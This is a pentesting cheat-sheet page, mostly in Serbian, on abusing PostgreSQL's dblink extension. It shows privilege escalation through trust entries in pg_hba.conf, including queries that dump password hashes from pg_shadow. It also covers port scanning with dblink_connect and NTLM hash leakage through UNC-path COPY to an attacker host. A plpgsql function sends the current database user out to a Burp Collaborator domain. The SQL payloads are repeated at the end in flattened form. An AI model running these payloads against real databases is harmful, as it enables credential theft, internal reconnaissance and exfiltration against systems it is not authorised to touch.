Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

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Od PostgreSQL 9.1, instalacija dodatnih modula je jednostavna. Registrovane ekstenzije kao što je dblink mogu se instalirati pomoću CREATE EXTENSION:

CREATE EXTENSION dblink;

Once you have dblink loaded you could be able to perform some interesting tricks:

Privilege Escalation

Fajl pg_hba.conf može biti loše konfiguran dozvoljavajući konekcije sa localhost-a kao bilo koji korisnik bez potrebe da znate lozinku. Ovaj fajl se obično može naći u /etc/postgresql/12/main/pg_hba.conf i loša konfiguracija izgleda ovako:

local    all    all    trust

Napomena da je ova konfiguracija obično korišćena za modifikaciju lozinke db korisnika kada je administrator zaboravi, tako da je ponekad možete pronaći. Napomena takođe da je datoteka pg_hba.conf čitljiva samo za postgres korisnika i grupu i zapisiva samo od strane postgres korisnika.

Ovaj slučaj je koristan ako već imate shell unutar žrtve jer će vam omogućiti da se povežete na postgresql bazu podataka.

Još jedna moguća pogrešna konfiguracija sastoji se od nečega poput ovoga:

host    all     all     127.0.0.1/32    trust

Kao što će omogućiti svima sa localhost-a da se povežu na bazu podataka kao bilo koji korisnik. U ovom slučaju i ako dblink funkcija radi, mogli biste povećati privilegije povezivanjem na bazu podataka kroz već uspostavljenu vezu i pristupiti podacima kojima ne biste trebali imati pristup:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Zloupotrebljavajući dblink_connect, takođe možete pretraživati otvorene portove. Ako ta **funkcija ne radi, trebali biste pokušati da koristite dblink_connect_u() jer dokumentacija kaže da je dblink_connect_u() identičan dblink_connect(), osim što će omogućiti nesuperkorisnicima da se povežu koristeći bilo koju metodu autentifikacije_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Napomena da pre nego što budete mogli da koristite dblink_connect ili dblink_connect_u možda ćete morati da izvršite:

CREATE extension dblink;

UNC putanja - NTLM hash otkrivanje

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';

-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

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SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'SELECT datname FROM pg_database') RETURNS (result TEXT); SELECT * FROM dblink('host=127.0.0.1 user=postgres dbname=postgres', 'select usename, passwd from pg_shadow') RETURNS (result1 TEXT, result2 TEXT);

SELECT * FROM dblink_connect('host=216.58.212.238 port=443 user=name password=secret dbname=abc connect_timeout=10'); //Different response // Port closed RROR: could not establish connection DETAIL: could not connect to server: Connection refused Is the server running on host "127.0.0.1" and accepting TCP/IP connections on port 4444? // Port Filtered/Timeout ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTP server ERROR: could not establish connection DETAIL: timeout expired // Accessing HTTPS server ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation:

-- to extract the value of user and send it to Burp Collaborator CREATE TABLE test(retval text); CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$ DECLARE sqlstring TEXT; DECLARE userval TEXT; BEGIN SELECT INTO userval (SELECT user); sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\''; EXECUTE sqlstring; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT testfunc();